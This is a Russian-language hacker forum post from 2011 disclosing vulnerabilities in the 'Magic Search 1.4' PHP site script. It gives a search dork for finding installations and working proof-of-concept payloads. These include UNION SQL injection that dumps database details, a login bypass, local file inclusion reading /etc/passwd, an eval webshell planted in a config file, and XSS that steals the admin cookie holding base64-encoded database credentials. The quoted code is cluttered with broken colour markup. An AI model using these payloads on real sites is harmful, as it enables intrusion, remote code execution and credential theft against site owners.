Показать сообщение отдельно

  #476  
Старый 03.11.2011, 21:11
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
Провел на форуме:
40748

Репутация: 78
По умолчанию

Magic Search 1.4(http://magicsearch.pp.ua/)

dorks: "Created by Kiria-Studio"

В продолжение этой темы: /thread298944.html

SQL Injection

/static.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'str'[/COLOR][COLOR="#007700"]])) {[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'str'[/COLOR][COLOR="#007700"]]; }

if (!isset([/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]))

[/COLOR][COLOR="#FF8000"]/* Проверяем, является ли переменная числом */

[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"|^[\d]+$|"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"])) {

exit ([/COLOR][COLOR="#DD0000"]"Неверный формат запроса! Проверьте url!
Если вы уверены что мы дали вам данную ссылку сообщите нам с помощью обратной связи "
[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM static WHERE str='[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]/**

Логики вообще никакой. Если есть $_GET['str'] то устанавливаем переменную $str, если нет, то проверяем, является ли она числом. оО

Ну и без какой-либо обработки собственно происходит запрос в базу данных.

**/

[/COLOR][/COLOR
PoC:

Код:
/static.php?str='+and+1=2+union+select+1,2,concat_ws(0x3a,version(),user(),database())+--+
NEED: magiq_quotes = OFF

Local File Include

/page.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'langu'[/COLOR][COLOR="#007700"]]) {

include_once([/COLOR][COLOR="#DD0000"]"./languages/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'langu'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"-language.php"[/COLOR][COLOR="#007700"]);

}

[/
COLOR][/COLOR
PoC:

Код:
В cookies:
langu=../../../../../etc/passwd%00
Shell Upload

не уверен что можно так назвать эту уязвимость Жесткий и палевный метод.

/install.php

PHP код:
[COLOR="#000000"]if(isset($_POST['go_ed'])) {

if (!is_writable("settings/database.php")) {

print "Файла database.php несуществует или незаданы права доступа 666";

} else {

$fhandle=fopen("settings/database.php","w");

fwrite($fhandle,"[COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'40'[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: index.php"[/COLOR][COLOR="#007700"]);

}

[/
COLOR][/COLOR
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]==[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]]) && ([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]]==[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]))[/COLOR][/COLOR
Конечно, данная строка нас должна удручить.

Но! =)

PoC:

Код:
Login: ' AND 1=2 UNION SELECT 1,SUBSTR(info,37,LENGTH(info)-36-1),3,50 FROM information_schema.processlist -- 
Password: 3
NEED: magiq_quotes = OFF

Shell Upload

Нужны права на правку /settings/conf.php, и права администратора.

URL: /admin/?f=settings


Редактируем любой параметр на

Код:
'; @eval($_REQUEST['cmd']); $s='
Выполнение кода:

Код:
/settings/conf.php?cmd=phpinfo();
NEED: magiq_quotes = OFF

Узнаем логин:пароль к базе данных.

/dumper.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (!empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]) && isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]])) {

if (@[/COLOR][COLOR="#0000BB"]mysql_connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"sxd"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SKD101:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'pass'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]));

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: dumper.php"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_close[/COLOR][COLOR="#007700"]();

exit;

}

[/
COLOR][/COLOR
Остается заполучить cookies админа, после того как он делал бэкап.

XSS через SQL-inj:

Код:
/static.php?str='+and+1=2+union+select+1,2,'alert(document.cookie);'+--+
В параметр sxd будет содержаться закодированный логин и пасс к бд. Алгоритм шифрования - base64.
 
Ответить с цитированием